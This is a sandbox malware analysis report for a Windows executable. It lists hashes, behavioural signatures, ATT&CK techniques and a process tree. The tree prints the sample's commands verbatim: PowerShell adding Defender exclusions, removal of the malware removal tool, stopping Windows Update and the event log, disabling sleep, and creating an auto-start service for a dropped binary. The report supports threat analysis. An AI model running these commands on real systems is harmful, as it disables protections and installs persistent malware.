Analysis

  • max time kernel
    143s
  • max time network
    159s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-05-2024 00:25

General

  • Target

    9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe

  • Size

    5.3MB

  • MD5

    368aa5ed88410ed27c874687df5944cd

  • SHA1

    1436b3f2e4e3564be1ca038041b346011bf682ef

  • SHA256

    9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561

  • SHA512

    8787adcc5c6d0d185b0baf777430c44450ef7b84303bf4790cf03afda9a43ce7f4daf6f1f4864ec27ad4bf4a48cfefcbe3baac952aa0abd7267f1636f39ba0bd

  • SSDEEP

    98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Stops running service(s) 4 TTPs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 3 IoCs
  • Launches sc.exe 9 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 46 IoCs
  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe
    "C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:1756
    • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2964
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2932
      • C:\Windows\system32\wusa.exe
        wusa /uninstall /kb:890830 /quiet /norestart
        3⤵
          PID:2148
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop UsoSvc
        2⤵
        • Launches sc.exe
        PID:960
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop WaaSMedicSvc
        2⤵
        • Launches sc.exe
        PID:4872
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3620
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop bits
        2⤵
        • Launches sc.exe
        PID:5052
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop dosvc
        2⤵
        • Launches sc.exe
        PID:4908
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:5024
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2276
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4832
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3524
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:3484
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
        2⤵
        • Launches sc.exe
        PID:3720
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        2⤵
        • Launches sc.exe
        PID:3280
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "JIOGRCSG"
        2⤵
        • Launches sc.exe
        PID:4000
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4280
        • C:\Windows\system32\choice.exe
          choice /C Y /N /D Y /T 3
          3⤵
            PID:1632
      • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
        1⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:1736
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:636
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4116 --field-trial-handle=2292,i,2103142837140538807,15881446839139365070,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:3760

        Network

        MITRE ATT&CK Matrix ATT&CK v13

        Execution

        Command and Scripting Interpreter

        1
        T1059

        PowerShell

        1
        T1059.001

        System Services

        2
        T1569

        Service Execution

        2
        T1569.002

        Persistence

        Create or Modify System Process

        2
        T1543

        Windows Service

        2
        T1543.003

        Privilege Escalation

        Create or Modify System Process

        2
        T1543

        Windows Service

        2
        T1543.003

        Defense Evasion

        Impair Defenses

        1
        T1562

        Impact

        Service Stop

        1
        T1489

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        Downloads

        • C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
          Filesize

          5.3MB

          MD5

          368aa5ed88410ed27c874687df5944cd

          SHA1

          1436b3f2e4e3564be1ca038041b346011bf682ef

          SHA256

          9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561

          SHA512

          8787adcc5c6d0d185b0baf777430c44450ef7b84303bf4790cf03afda9a43ce7f4daf6f1f4864ec27ad4bf4a48cfefcbe3baac952aa0abd7267f1636f39ba0bd

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mzcnvbrh.z2s.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/636-42-0x000001AE28C30000-0x000001AE28C3A000-memory.dmp
          Filesize

          40KB

        • memory/636-41-0x000001AE28C50000-0x000001AE28C6C000-memory.dmp
          Filesize

          112KB

        • memory/636-46-0x000001AE28C80000-0x000001AE28C8A000-memory.dmp
          Filesize

          40KB

        • memory/636-45-0x000001AE28C70000-0x000001AE28C76000-memory.dmp
          Filesize

          24KB

        • memory/636-44-0x000001AE28C40000-0x000001AE28C48000-memory.dmp
          Filesize

          32KB

        • memory/636-43-0x000001AE28C90000-0x000001AE28CAA000-memory.dmp
          Filesize

          104KB

        • memory/636-38-0x000001AE28A00000-0x000001AE28A1C000-memory.dmp
          Filesize

          112KB

        • memory/636-39-0x000001AE28A20000-0x000001AE28AD5000-memory.dmp
          Filesize

          724KB

        • memory/636-40-0x000001AE28AE0000-0x000001AE28AEA000-memory.dmp
          Filesize

          40KB

        • memory/2964-16-0x00007FFE94220000-0x00007FFE94CE1000-memory.dmp
          Filesize

          10.8MB

        • memory/2964-0-0x00007FFE94223000-0x00007FFE94225000-memory.dmp
          Filesize

          8KB

        • memory/2964-1-0x000001E7F61C0000-0x000001E7F61E2000-memory.dmp
          Filesize

          136KB

        • memory/2964-11-0x00007FFE94220000-0x00007FFE94CE1000-memory.dmp
          Filesize

          10.8MB

        • memory/2964-13-0x00007FFE94220000-0x00007FFE94CE1000-memory.dmp
          Filesize

          10.8MB

        • memory/2964-12-0x00007FFE94220000-0x00007FFE94CE1000-memory.dmp
          Filesize

          10.8MB